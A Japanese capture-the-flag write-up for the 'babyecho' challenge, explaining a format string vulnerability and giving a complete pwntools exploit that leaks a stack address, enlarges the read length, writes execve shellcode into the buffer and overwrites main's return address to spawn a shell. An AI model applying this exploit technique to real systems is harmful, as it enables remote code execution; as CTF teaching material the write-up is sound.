Baby’s First 1: babyecho

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me:3232
Download

format文字列攻撃の脆弱性のあるバイナリ。

$ ./babyecho
Reading 13 bytes
%p
0xd
Reading 13 bytes
%10d%hhn
zsh: segmentation fault (core dumped)  ./babyecho

全て読むにはつらい大きなバイナリであるが、セキュリティ機構はほとんど存在していない。 libcを静的にlinkしているようである。 %nを入力すると_nが返ってくることなどから分かるが、libcの関数そのものではなく多少手が入れられている。

$ ll babyecho
-rwxr-x--x 1 user user 664936 Jan  7 23:50 babyecho
$ ldd babyecho
    not a dynamic executable
$ checksec --file babyecho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   babyecho

中を覗くと、main関数は以下のようなものと考えてよいと分かる。

int main(void) {
    char buf[1024];
    int flag = 0;
    char *p = buf;
    int len = 13;
    while (flag == 0) {
        assert (len <= 1024);
        printf("Reading %d bytes\n", len);
        fgets(stdin, buf, len);
        printf(buf);
        putchar('\n');
    }
    return 0;
}

攻撃の手順は以下のようになる。

  • pを表示しespを得る。
  • lenを書き換え長い文字列を送り込めるようにする。
  • bufにshellcodeを載せ、mainの戻りアドレスをshellcodeへのポインタで書き換え、flagを書き換える。

これを実行するコードは以下のようになる。

#!/usr/bin/env python2
from pwn import * # https://github.com/Gallopsled/pwntools/tree/2.2/pwnlib

context.log_level = 'debug'
p = remote('localhost', 8022)
# p = process('./babyecho')

# ebp of main
# ret from printf
# buf        # esp
# 0xd        # esp + 0x4, $1
# 0xa        # esp + 0x8, $2
# 0x0        # esp + 0xc, $3
# 0xd        # esp + 0x10, $4, len of buf
# 0xffbd510c # esp + 0x14, $5, ptr to buf
# 0x0        # esp + 0x18, $6, break flag
# buf        # esp + 0x1c, $7
# ret        # esp + 0x42c, ret addr from main

p.recvline_regex('Reading \d+ bytes\n') # 13 bytes
p.sendline('%5$p')
buf = int(p.recvline(keepends=False), 16)
esp = buf - 0x1c

p.recvline_regex('Reading \d+ bytes\n') # 13 bytes
p.sendline(p32(esp + 0x10) + '%99d' + '%7$n')

p.recvline_regex('.*Reading \d+ bytes\n') # 103 bytes
p.sendline(p32(esp + 0x10) + '%999d' + '%7$n')

# http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p.recvline_regex('.*Reading \d+ bytes\n') # 1003 bytes

payload = ''
payload += p32(esp + 0x18) # $7
payload += p32(esp + 0x42c) # $8
payload += p32(esp + 0x42c + 1) # $9
payload += p32(esp + 0x42c + 2) # $10
payload += p32(esp + 0x42c + 3) # $11
ptr = esp + 0x1c + len(payload)
payload += shellcode
initial_len = len(payload)
payload += '%7$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[0]) -      initial_len) % 0x100 + 0x100)) + '%8$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[1]) - ord(p32(ptr)[0])) % 0x100 + 0x100)) + '%9$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[2]) - ord(p32(ptr)[1])) % 0x100 + 0x100)) + '%10$hhn'
payload += ('%%%dd' % ((ord(p32(ptr)[3]) - ord(p32(ptr)[2])) % 0x100 + 0x100)) + '%11$hhn'
p.sendline(payload)

p.sendline('ls')
p.interactive()